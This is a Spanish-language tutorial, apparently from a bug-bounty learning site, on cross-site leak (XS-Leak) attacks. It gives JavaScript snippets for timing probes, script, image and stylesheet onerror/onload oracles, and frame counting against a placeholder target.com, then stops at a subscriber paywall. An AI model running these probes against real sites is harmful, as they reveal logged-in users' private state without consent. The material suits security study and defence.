Respuesta rápida
XS-Leaks son canales laterales que permiten leer información binaria o pequeña sobre una víctima logueada en otro origen — sin necesidad de XSS, sin sortear SOP directamente. Se basan en diferencias observables desde una página que solo embebe contenido cross-origin: tiempos de carga, errores de parseo, cantidad de frames, eventos disparados. Útiles para detectar si la víctima está logueada, si es admin, si tiene cierto rol, o filtrar IDs uno-bit por uno-bit.
El modelo de threat
El atacante:
- Hospeda
attacker.com. - La víctima visita atacante.com (phishing, ads, click-through).
- Atacante embebe / fetcha
target.comcross-origin. - Atacante observa side channels del browser para inferir datos.
Mitigaciones modernas: COOP, COEP, CORP, SameSite=Lax por defecto. Pero muchos endpoints siguen siendo leakables porque la mitigación se aplica a las páginas top-level, no al universo de subrecursos.
Canal 1 — Timing attacks con performance.now()
El más universal. Mide cuánto tarda un recurso cross-origin en cargar. Diferencias de 20-100ms suelen ser observables.
Setup básico
async function timeFetch(url) {
const start = performance.now();
await fetch(url, { mode: 'no-cors', credentials: 'include' });
return performance.now() - start;
}
const tLogged = await timeFetch('https://target.com/api/me');
const tSomething = await timeFetch('https://target.com/api/admin-only');
// Si tSomething < tLogged significativamente, admin-only retornó rápido (403)
// Si son similares, retornó datos (admin)
Endpoints clásicos leakables por timing
| Endpoint | Diferencia observable |
|---|---|
| Search con un término que existe vs uno que no | Tiempo de SQL query |
/admin/dashboard vs /admin/non-existent | 200 vs 404 |
| Email reset con email existente vs no | Email send delay |
| Endpoint con caché HIT vs MISS | Caché latency |
| Endpoint con N rows (paginación) | Render time |
Anti-timing-detection: usa cache eviction
Si el browser cachea las responses, el segundo request es ~0ms. Para evitarlo:
const url = `https://target.com/api/me?bust=${Math.random()}`;
Y mide múltiples veces para promediar jitter de red.
Canal 2 — Error-based leaks
Algunos recursos cross-origin disparan onerror / onload en <script>, <img>, <link> dependiendo del response. Aunque no puedes leer el contenido, sí puedes detectar si el response fue 200, 404, parseable o no.
Script tag onerror/onload differential
<script src="https://target.com/api/private/secret-id-12345"
onload="known()" onerror="notFound()"></script>
- Si el endpoint devuelve JS válido (200, content-type js) →
onload. - Si devuelve 404 →
onerror. - Si devuelve JSON inválido como JS →
onerror.
Permite oracle: "¿existe el ID 12345 en el target para este usuario?"
Image dimensions leak
const img = new Image();
img.onload = () => console.log(img.naturalWidth, img.naturalHeight);
img.src = 'https://target.com/avatar/admin';
Si avatares de admin tienen tamaño distinto que regulares → leak.
CSS load differential
<link rel="stylesheet" href="https://target.com/themes/admin.css"
onload="isAdmin()" onerror="notAdmin()">
CSS dynamically generated por user state → ahora detectable.
Canal 3 — Frame counting
Hasta hace poco, window.length (número de iframes en una página) era leakable cross-origin si embebías la página. Mitigado en navegadores modernos via COOP, pero todavía funciona contra apps sin COOP.
const w = window.open('https://target.com/dashboard');
setTimeout(() => {
console.log(w.length); // Número de iframes en el dashboard
// Apps que tienen iframes condicionales (e.g., "Admin panel" solo para admins) leakan rol
w.close();
}, 2000);
Variante con <object> o <iframe> + onload
Si el browser bloquea el load por X-Frame-Options: DENY, dispara onerror; si no, onload:
<iframe src="https://target.com/admin" onload="canFrame()" onerror="cannotFrame()"></iframe>
X-Frame-Options puede estar set condicionalmente por el server (algunas apps lo emiten solo para páginas protegidas) → leak directo de auth state.
Canal 4 — CSP violation reports (el premium)
CSP report endpoints son uno de los XS-Leaks más limpios y menos parcheados. Si el atacante hospeda una página con CSP que apunte el report-uri a su propio endpoint, cualquier violación CSP generada al cargar contenido cross-origin se reporta al atacante.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Xs Leaks Timing
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
